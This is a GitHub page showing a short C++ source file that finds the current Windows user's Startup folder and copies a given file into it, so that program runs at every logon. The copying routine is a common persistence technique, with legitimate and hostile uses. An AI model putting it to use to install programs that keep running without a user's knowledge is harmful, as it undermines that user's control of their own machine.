-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFiles.cpp
35 lines (34 loc) · 1.09 KB
/
Files.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include "Files.h"
std::string userPath;
std::string startupPath;
std::string getUsername(){
char *userName = getenv("USERNAME"); //Get the username of the current user.
std::stringstream ss;
std::string xx;
ss << userName;
ss >> xx;
return xx;
}
bool fileExists(const char *fileName){
std::ifstream infile(fileName);
return infile.good();
}
std::string getStartupPath(std::string filename){
std::string pathname;
pathname = "C:/Users/" + getUsername(); //%USERNAME% variable in batch
userPath = pathname;
pathname += "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs"; //Get the folder that contains both directories needed
startupPath = pathname + "/Startup/"+filename; //Get the startup program path
return startupPath;
}
void beginStartup(std::string filename){
std::string startupPath = getStartupPath(filename);
if(fileExists(startupPath.c_str())) return;
std::ifstream StarterSrc;
std::ofstream StarterDst;
StarterSrc.open(filename, std::ios::binary);
StarterDst.open(startupPath, std::ios::binary);
StarterDst << StarterSrc.rdbuf();
StarterSrc.close();
StarterDst.close();
}